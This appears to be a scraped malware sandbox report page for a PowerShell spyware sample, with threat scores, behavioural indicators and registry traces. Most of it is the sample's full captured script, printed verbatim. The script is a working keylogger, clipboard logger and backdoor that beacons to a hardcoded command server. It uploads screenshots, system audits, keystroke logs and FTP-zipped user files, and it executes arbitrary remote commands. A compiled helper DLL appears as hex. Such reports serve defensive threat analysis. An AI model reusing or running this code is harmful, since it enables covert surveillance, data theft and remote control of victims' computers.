24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 56:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4ef,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan[Spy]/PowerShell.Agent Sample 73f5db0b04df… — Score 89/100 — Hybrid Analysis","description":"Malicious verdict for sample 73f5db0b04df…. Malware family: Trojan[Spy]/PowerShell.Agent. Threat score 89/100. 1/27 AV engines flagged this file. 3 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9","keywords":["Malicious","Trojan[Spy]/PowerShell.Agent","malware analysis","sandbox report","threat intelligence","73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9"],"about":{"@type":"SoftwareApplication","name":"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin","applicationCategory":["powershell","ps"],"identifier":"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9","additionalType":"Malicious sample"},"threatScore":89,"malwareFamily":"Trojan[Spy]/PowerShell.Agent","antivirusDetections":{"malicious":1,"total":27},"behavioralIndicators":{"malicious":3,"suspicious":11},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T59a,file/memory contains long string with (Indicator: "Remove-Item"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "Remove-Item $ZipPath" (Indicator: "Remove-Item"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "} catch { return "error" } finally { if (Test-Path $Vault) { Remove-Item $Vault -Recurse -Force } }" (Indicator: "Remove-Item"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$g.Dispose(); $bmp.Dispose(); Send-File $p "photo"; Remove-Item $p; "success"" (Indicator: "Remove-Item"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "Send-File $p "document" "Audit_$($env:COMPUTERNAME).html"; Remove-Item $p" (Indicator: "Remove-Item"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string ""^clear_cache$" { if(Test-Path $CacheFile){Remove-Item $CacheFile -Force}; "success" }" (Indicator: "Remove-Item"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "Remove-Item $logFileTemp; "success"" (Indicator: "Remove-Item"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "Remove-Item $LogFile; $LastUploadTime = Get-Date" (Indicator: "Remove-Item"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin")26:T66d,file/memory contains long string with (Indicator: "ConvertTo-Html"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "ConvertFrom-Json"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "ConvertTo-Json"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$LocalCache = if (Test-Path $CacheFile) { Get-Content $CacheFile | ConvertFrom-Json -AsHashtable } else { @{} }" (Indicator: "ConvertFrom-Json"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$NewCache | ConvertTo-Json | Out-File $CacheFile -Force" (Indicator: "ConvertTo-Json"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$pingBody = @{ drives = $drivesPing -join " | "; kl_enabled = $KeyloggerEnabled; update_audit = $false } | ConvertTo-Json" (Indicator: "ConvertTo-Json"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "Invoke-RestMethod -Uri "$ServerUrl/ping/$pcHash" -Method Post -Body (@{update_audit=$true} | ConvertTo-Json) -ContentType "application/json"" (Indicator: "ConvertTo-Json"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "Invoke-RestMethod -Uri "$ServerUrl/tasks/$tid" -Method Put -ContentType "application/json" -Body (@{status="completed"; result=$res} | ConvertTo-Json)" (Indicator: "ConvertTo-Json"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin")27:Ta69,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\3E2BF7F2031B96F38CE6C4D8A85D3E2D58476A0F") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\3E2BF7F2031B96F38CE6C4D8A85D3E2D58476A0F") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\47BEABC922EAE80E78783462A79F45C254FDE68B") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\47BEABC922EAE80E78783462A79F45C254FDE68B") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\503006091D97D4F5AE39F7CBE7927D7D652D3431") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\503006091D97D4F5AE39F7CBE7927D7D652D3431") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\51501FBFCE69189D609CFAF140C576755DCC1FDF") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\51501FBFCE69189D609CFAF140C576755DCC1FDF") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\590D2D7D884F402E617EA562321765CF17D894E9") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\590D2D7D884F402E617EA562321765CF17D894E9") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\5F3B8CF2F810B37D78B4CEEC1919C37334B9C774") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\5F3B8CF2F810B37D78B4CEEC1919C37334B9C774") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\6252DC40F71143A22FDE9EF7348E064251B18118")28:T607,"powershell.exe" queried SystemProcessInformation at 00000000-00007108-00000C15-487059008 [PID: 7108] "powershell.exe" queried SystemProcessInformation at 00000000-00007108-00000C15-487067675 [PID: 7108] "powershell.exe" queried SystemProcessInformation at 00000000-00007108-00000C15-488350394 [PID: 7108] "powershell.exe" queried SystemProcessInformation at 00000000-00007108-00000C15-488358936 [PID: 7108] "powershell.exe" queried SystemProcessInformation at 00000000-00007108-00000C15-490538129 [PID: 7108] "powershell.exe" queried SystemProcessInformation at 00000000-00007108-00000C15-490546417 [PID: 7108] "powershell.exe" queried SystemProcessInformation at 00000000-00007108-00000C15-490790993 [PID: 7108] "powershell.exe" queried SystemProcessInformation at 00000000-00007108-00000C15-490800008 [PID: 7108] "powershell.exe" queried SystemProcessInformation at 00000000-00007108-00000C15-491484679 [PID: 7108] "powershell.exe" queried SystemProcessInformation at 00000000-00007108-00000C15-492566113 [PID: 7108] "powershell.exe" queried SystemProcessInformation at 00000000-00007108-00000C15-492573932 [PID: 7108] "powershell.exe" queried SystemProcessInformation at 00000000-00007108-00000C15-492985585 [PID: 7108] "powershell.exe" queried SystemProcessInformation at 00000000-00007108-00000C15-492993809 [PID: 7108] "powershell.exe" queried SystemProcessInformation at 00000000-00007108-00000C15-498293612 [PID: 7108] "powershell.exe" queried SystemProcessInformation at 00000000-00007108-00000C15-498301199 [PID: 7108]29:T63bb,Script name: C:\73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin.ps1 contents: $ErrorActionPreference = "SilentlyContinue" [System.Net.WebRequest]::DefaultWebProxy = New-Object System.Net.WebProxy [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Windows.Forms System.Drawing System.Net.Http if (-not (Test-Path "C:\temp\")) { New-Item -Path "C:\temp\" -ItemType Directory -Force } $ServerUrl = "http://94.183.183.69:3000" $idFile = "C:\temp\.kermit_id" $Vault = "C:\temp\Kermit_Vault" $CacheFile = "C:\temp\kermit_cache.json" $LogFile = "C:\temp\key_log.txt" $LogFileInternal = "C:\temp\script_debug.log" $ErrorActionPreference = "Continue" $KeyloggerEnabled = $true $UploadIntervalMinutes = 60 $LastUploadTime = Get-Date $sentence = "" $currentSleep = 20 if (-not (Test-Path $CacheFile)) { "{}" | Out-File $CacheFile -Force } if (Test-Path $idFile) { $pcHash = Get-Content $idFile } else { $pcHash = "$($env:COMPUTERNAME)-$(Get-Random -Min 1000 -Max 9999)" $pcHash | Out-File $idFile -Force } try { $Signature = '[DllImport("user32.dll")] public static extern short GetAsyncKeyState(int vKey);' $API = Add-Type -MemberDefinition $Signature -Name "Win32Internal" -PassThru } catch { $_.Exception.Message | Out-File $LogFileInternal -Append } function Get-DeepAuditHTML { try { $os = Get-CimInstance Win32_OperatingSystem; $cpu = Get-CimInstance Win32_Processor $uptime = (Get-Date) - $os.LastBootUpTime $uptimeStr = "{0}d {1}h {2}m" -f $uptime.Days $uptime.Hours $uptime.Minutes $currentUser = [Security.Principal.WindowsIdentity]::GetCurrent().Name $isElevated = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) $internalIP = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object InterfaceAlias -notmatch 'Loopback').IPAddress -join ", " try { $externalIP = (Invoke-WebRequest -Uri "http://ifconfig.me/ip" -TimeoutSec 5 -UseBasicParsing).Content.Trim() } catch { $externalIP = "N/A" } $ActiveConnections = Get-NetTCPConnection -State Established | Select-Object LocalAddress LocalPort RemoteAddress RemotePort @{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}} | Select-Object -First 20 $avStatus = Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct $bitlocker = Get-BitLockerVolume -MountPoint "C:" $LocalUsers = Get-LocalUser | Select-Object Name Enabled Description LastLogon $admins = Get-LocalGroupMember -Group "Administrators" | Select-Object -ExpandProperty Name $RunningServices = Get-Service | Where-Object {$_.Status -eq "Running"} | Select-Object Name DisplayName StartType | Select-Object -First 30 $TopProcesses = Get-Process | Sort-Object CPU -Descending | Select-Object -First 15 | Select-Object Name Id CPU WorkingSet $AutoRun = Get-CimInstance Win32_StartupCommand | Select-Object Name Command Location $Software = Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Where-Object { $_.DisplayName -ne $null } | Select-Object @{N="Software";E={$_.DisplayName}} @{N="Version";E={$_.DisplayVersion}} @{N="Publisher";E={$_.Publisher}} | Sort-Object Software $eventLogs = Get-EventLog -LogName System -EntryType Error -Newest 15 | Select-Object TimeGenerated Source Message $LogicalDisks = Get-CimInstance Win32_LogicalDisk $DiskSectionsHtml = ""; $ExcludePatterns = "Windows|Program Files|ProgramData|Recycle\.Bin|System Volume Information|AppData|PerfLogs|Recovery|Boot" foreach ($disk in $LogicalDisks) { $driveId = $disk.DeviceID; $typeDesc = switch ($disk.DriveType) { 2 {"USB"} 3 {"HDD/SSD"} 4 {"Network"} default {"Unknown"} } if (-not (Test-Path "$driveId\")) { continue } $totalGB = [Math]::Round($disk.Size/1GB, 1); $usedGB = [Math]::Round(($disk.Size - $disk.FreeSpace)/1GB 1) $percent = [Math]::Round(($usedGB / $totalGB) * 100 1) $color = if ($percent -gt 90) { "#ef4444" } elseif ($percent -gt 75) { "#f59e0b" } else { "#10b981" } $contentList = "" $items = Get-ChildItem -Path "$driveId\" -ErrorAction SilentlyContinue | Where-Object {$_.Name -notmatch $ExcludePatterns} | Sort-Object PSIsContainer -Descending | Select-Object -First 20 foreach ($item in $items) { $folderIcon = [char]0xD83D + [char]0xDCC1 # ÐšÐ¾Ð´ Ð¿Ð°Ð¿ÐºÐ¸ ðŸ“ $fileIcon = [char]0xD83D + [char]0xDCC4 # ÐšÐ¾Ð´ Ñ„Ð°Ð¹Ð»Ñƒ ðŸ“„ $icon = if($item.PSIsContainer){ $folderIcon } else { $fileIcon } $size = if(!$item.PSIsContainer){"$([Math]::Round($item.Length/1MB, 2)) MB"}else{"-"} $contentList += "$icon$($item.Name)$size" } $DiskSectionsHtml += "

Drive $driveId ($typeDesc)

$usedGB GB used of $totalGB GB ($percent%)

$contentList

" } $CSS = "" $html = "$CSS

DEEP AUDIT: $pcHash

1. Info

OS	$($os.Caption)
Uptime	$uptimeStr
IP	Int: $internalIP \| Ext: $externalIP
Context	$currentUser (Admin: $isElevated)

2. Storage

$DiskSectionsHtml

3. Network

$($ActiveConnections | ConvertTo-Html -Fragment)

4. Security

AV	$($avStatus.displayName)
BitLocker	$($bitlocker.ProtectionStatus)

$($LocalUsers | ConvertTo-Html -Fragment)

Admins: $($admins -join ', ')

5. Stats

$($TopProcesses | ConvertTo-Html -Fragment) $($RunningServices | ConvertTo-Html -Fragment)

6. Logs & Apps

$($Software | ConvertTo-Html -Fragment)" return $html } catch { return "Error: $($_.Exception.Message)" } } function Send-File ($path, $type, $customName = $null) { if (-not (Test-Path $path)) { return } $fieldName = if ($type -eq "photo") { "photo" } else { "document" } $uri = "$ServerUrl/proxy/photo" $fileName = if ($customName) { $customName } else { "$($env:COMPUTERNAME)_$(Split-Path $path -Leaf)" } try { $fileStream = [System.IO.File]::OpenRead($path) $multipartContent = New-Object System.Net.Http.MultipartFormDataContent $fileContent = New-Object System.Net.Http.StreamContent($fileStream) $multipartContent.Add($fileContent, $fieldName, $fileName) $httpClient = New-Object System.Net.Http.HttpClient $res = $httpClient.PostAsync($uri, $multipartContent).Result } catch { $_.Exception.Message | Out-File $LogFileInternal -Append } finally { if ($fileStream) { $fileStream.Close() }; if ($httpClient) { $httpClient.Dispose() } } } function Send-Cache-To-Server { if (-not (Test-Path $CacheFile)) { return } try { $absPath = (Get-Item $CacheFile).FullName & curl.exe -s --max-time 30 -X POST "$ServerUrl/upload_cache/$pcHash" -F "file=@$absPath" | Out-Null } catch {} } function Send-Data-FTP { param([array]$Files, [int]$Counter, $Ftp) if (-not ($Ftp.host -and $Ftp.user)) { return } if (-not (Test-Path $Vault)) { New-Item $Vault -ItemType Directory -Force | Out-Null } $ArchiveName = "$($pcHash)_part$Counter.zip" $ZipPath = Join-Path $Vault $ArchiveName try { Compress-Archive -Path $Files.FullName -DestinationPath $ZipPath -Force $WC = New-Object System.Net.WebClient $WC.Credentials = New-Object System.Net.NetworkCredential($Ftp.user, $Ftp.pass) $WC.UploadFile("ftp://$($Ftp.host)/$ArchiveName", "STOR", $ZipPath) Remove-Item $ZipPath } catch { $_.Exception.Message | Out-File $LogFileInternal -Append } } function Run-SmartBackup { try { $Cfg = Invoke-RestMethod -Uri "$ServerUrl/config/$pcHash" if ($Cfg.active -ne $true) { return "disabled" } $Paths = $Cfg.paths -split ','; $Exts = @($Cfg.extensions) $LocalCache = if (Test-Path $CacheFile) { Get-Content $CacheFile | ConvertFrom-Json -AsHashtable } else { @{} } $FilesToProcess = @(); $NewCache = @{} foreach ($p in $Paths) { $p = $p.Trim(); if (-not (Test-Path $p)) { continue } Get-ChildItem $p -Recurse -File -Include $Exts -ErrorAction SilentlyContinue | ForEach-Object { if ($_.FullName -match "Windows|Program Files|AppData") { return } try { $fHash = (Get-FileHash $_.FullName -Algorithm MD5).Hash $NewCache[$_.FullName] = $fHash if ($LocalCache[$_.FullName] -ne $fHash -and $_.Length -le ($Cfg.max_size_mb * 1MB)) { $FilesToProcess += $_ } } catch {} } } if ($FilesToProcess.Count -eq 0) { return "nothing_new" } $MaxSize = $Cfg.max_size_mb * 1MB; $Set = @(); $Size = 0; $Part = 1 foreach ($F in $FilesToProcess) { if (($Size + $F.Length) -gt $MaxSize -and $Set.Count -gt 0) { Send-Data-FTP $Set $Part $Cfg.ftp; $Part++; $Set=@(); $Size=0 } $Set += $F; $Size += $F.Length } if ($Set.Count -gt 0) { Send-Data-FTP $Set $Part $Cfg.ftp } $NewCache | ConvertTo-Json | Out-File $CacheFile -Force Send-Cache-To-Server; return "success" } catch { return "error" } finally { if (Test-Path $Vault) { Remove-Item $Vault -Recurse -Force } } } while($true) { try { $drivesPing = Get-CimInstance Win32_LogicalDisk | Where-Object { $_.Size -gt 0 } | ForEach-Object { "$($_.DeviceID) $([Math]::Round(($_.Size - $_.FreeSpace)/1GB 1))/$([Math]::Round($_.Size/1GB,1))GB" } $pingBody = @{ drives = $drivesPing -join " | "; kl_enabled = $KeyloggerEnabled; update_audit = $false } | ConvertTo-Json $ping = Invoke-RestMethod -Uri "$ServerUrl/ping/$pcHash" -Method Post -Body $pingBody -ContentType "application/json" if ($ping.poll_interval) { $currentSleep = [int]$ping.poll_interval } $tasks = Invoke-RestMethod -Uri "$ServerUrl/tasks/$pcHash" -Method Get foreach ($task in $tasks) { $tid = $task.id; $cmd = $task.command $res = switch -Regex ($cmd) { "^screen$" { try { $p = "C:\temp\s.png" $bmp = New-Object Drawing.Bitmap([Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [Windows.Forms.Screen]::PrimaryScreen.Bounds.Height) $g = [Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen(0,0,0,0,$bmp.Size); $bmp.Save($p, [Drawing.Imaging.ImageFormat]::Png) $g.Dispose(); $bmp.Dispose(); Send-File $p "photo"; Remove-Item $p; "success" } catch { $_.Exception.Message | Out-File $LogFileInternal -Append; "error" } } "^full_info$" { $p = "C:\temp\Audit.html"; (Get-DeepAuditHTML) | Out-File $p -Encoding UTF8 Send-File $p "document" "Audit_$($env:COMPUTERNAME).html"; Remove-Item $p Invoke-RestMethod -Uri "$ServerUrl/ping/$pcHash" -Method Post -Body (@{update_audit=$true} | ConvertTo-Json) -ContentType "application/json" "success" } "^run_backup$" { Run-SmartBackup } "^get_cache$" { Send-Cache-To-Server; "success" } "^clear_cache$" { if(Test-Path $CacheFile){Remove-Item $CacheFile -Force}; "success" } "^start_kl$" { $KeyloggerEnabled = $true; "success" } "^stop_kl$" { $KeyloggerEnabled = $false; "success" } "exec_cmd:(.*)" { $realCmd = $Matches[1]; cmd.exe /c $realCmd 2>&1 | Out-String; "success" } "exec_ps:(.*)" { $realPs = $Matches[1]; Invoke-Expression $realPs 2>&1 | Out-String; "success" } "exec_hidden:(.*)" { $realCmd = $Matches[1]; (New-Object -ComObject WScript.Shell).Run("cmd.exe /c $realCmd", 0, $false); "success" } "exec_out:(.*)" { $payload = $Matches[1]; $logFileTemp = "C:\temp\kermit_execution.txt" try { $header = "--- Execution Log ---`nTime: $(Get-Date)`nPC: $($env:COMPUTERNAME)`nCommand: $payload`n$('-' * 25)`n" $header | Out-File $logFileTemp -Encoding utf8 cmd.exe /c "$payload 2>&1" | Out-File $logFileTemp -Append -Encoding utf8 Send-File $logFileTemp "document" "Result_$($env:COMPUTERNAME).txt" Remove-Item $logFileTemp; "success" } catch { "error" } } default { "ignored" } } Invoke-RestMethod -Uri "$ServerUrl/tasks/$tid" -Method Put -ContentType "application/json" -Body (@{status="completed"; result=$res} | ConvertTo-Json) } if ($KeyloggerEnabled -and $API) { if (Test-Path $LogFile) { if (((Get-Date)-$LastUploadTime).TotalMinutes -ge $UploadIntervalMinutes -or (Get-Item $LogFile).Length -ge 100KB) { Send-File $LogFile "document" "Keys_$($env:COMPUTERNAME).txt" Remove-Item $LogFile; $LastUploadTime = Get-Date } } for ($i=0; $i -lt ($currentSleep*25); $i++) { if (($API::GetAsyncKeyState(17) -band 0x8000) -and ($API::GetAsyncKeyState(67) -eq -32767)) { $c = Get-Clipboard; if($c){ "`r`n[$(Get-Date -f 'HH:mm')] CLIP: $c" | Out-File $LogFile -Append -Encoding UTF8 } } for ($v=8; $v -le 190; $v++) { if ($API::GetAsyncKeyState($v) -eq -32767) { $k = [System.Windows.Forms.Keys]$v if ($k -eq "Enter") { if($sentence.Trim()){ "`r`n[$(Get-Date -f 'HH:mm')] $sentence" | Out-File $LogFile -Append -Encoding UTF8; $sentence = "" } } elseif ($k -eq "Space") { $sentence += " " } elseif ($k -eq "Back") { if($sentence.Length -gt 0){ $sentence = $sentence.SubString(0,$sentence.Length-1) } } elseif ($k.ToString().Length -eq 1) { $sentence += $k.ToString().ToLower() } elseif ($v -ge 48 -and $v -le 57) { $sentence += $k.ToString().Replace("D","") } } } Start-Sleep -Milliseconds 40 } } else { Start-Sleep -Seconds $currentSleep } } catch { Start-Sleep -Seconds 10 } } , Script name: na contents: $_.PSParentPath.Replace("Microsoft.PowerShell.Core\FileSystem::", "") , Script name: na contents: [String]::Format("{0 10} {1 8}", $_.LastWriteTime.ToString("d"), $_.LastWriteTime.ToString("t")) , Script name: na contents: if ($_ -is [System.IO.DirectoryInfo]) { return '' } if ($_.Attributes -band [System.IO.FileAttributes]::Offline) { return '({0})' -f $_.Length } return $_.Length , Script name: ERROR:Bad content name contents: 4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C010300DA4AE2690000000000000000E00002210B010B00000400000006000000000000AE2300000020000000400000000000100020000000020000040000000000000004000000000000000080000000020000000000000300408500001000001000000000100000100000000000001000000000000000000000005C2300004F00000000400000A802000000000000000000000000000000000000006000000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000B4030000002000000004000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000060000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000000A0000000000000000000000000000400000420000000000000000000000000000000090230000000000004800000002000500582000000403000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001E02280400000A2A42534A4201000100000000000C00000076342E302E33303331390000000005006C00000000010000237E00006C0100003801000023537472696E677300000000A40200000800000023555300AC020000100000002347554944000000BC0200004800000023426C6F620000000000000002000001471500140900000000FA253300160000010000000400000002000000020000000100000004000000020000000100000001000000010000000100000000000A0001000000000006006E0067000600B10091000600D100910006001701F80000000000010000000000010001000100100017002500050001000100000000008000962075000A000100502000000000861886000F000200000001008C00110086001300190086000F00210086001800090086000F002E000B001D002E00130026002A010001030075000100048000000000000000000000000000000000EF00000004000000000000000000000001005E000000000000000000003C4D6F64756C653E006335666E7368756A2E646C6C0057696E3332496E7465726E616C004D6963726F736F66742E506F7765725368656C6C2E436F6D6D616E64732E416464547970652E4175746F47656E6572617465645479706573006D73636F726C69620053797374656D004F626A656374004765744173796E634B65795374617465002E63746F7200764B65790053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465006335666E7368756A0053797374656D2E52756E74696D652E496E7465726F70536572766963657300446C6C496D706F7274417474726962757465007573657233322E646C6C000000000003200000000000A14686692175A14A94C5C3FFFFCCD0C00008B77A5C561934E0890400010608032000010420010108042001010E0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F7773010000008423000000000000000000009E23000000200000000000000000000000000000000000000000000090230000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000D00010049006E007400650072006E0061006C004E0061006D00650000006300350066006E007300680075006A002E0064006C006C00000000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000D0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006300350066006E007300680075006A002E0064006C006C0000000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000B03300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 , Script name: C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules\CimCmdlets\CimCmdlets.psd1 contents: @{ GUID="{Fb6cc51d-c096-4b38-b78d-0fed6277096a}" Author="Microsoft Corporation" CompanyName="Microsoft Corporation" Copyright="© Microsoft Corporation. All rights reserved." ModuleVersion="1.0.0.0" PowerShellVersion="3.0" CLRVersion="4.0" RootModule="Microsoft.Management.Infrastructure.CimCmdlets" RequiredAssemblies="Microsoft.Management.Infrastructure.CimCmdlets.dll","Microsoft.Management.Infrastructure.Dll" CmdletsToExport= "Get-CimAssociatedInstance", "Get-CimClass", "Get-CimInstance", "Get-CimSession", "Invoke-CimMethod", "New-CimInstance","New-CimSession","New-CimSessionOption","Register-CimIndicationEvent","Remove-CimInstance", "Remove-CimSession","Set-CimInstance", "Export-BinaryMiLog","Import-BinaryMiLog" AliasesToExport = "gcim","scim","ncim", "rcim","icim","gcai","rcie","ncms","rcms","gcms","ncso","gcls" FunctionsToExport = @() HelpInfoUri="https://go.microsoft.com/fwlink/?linkid=390758" } , Script name: na contents: Set-Alias -Name gcim -Value Get-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue , Script name: na contents: Set-Alias -Name scim -Value 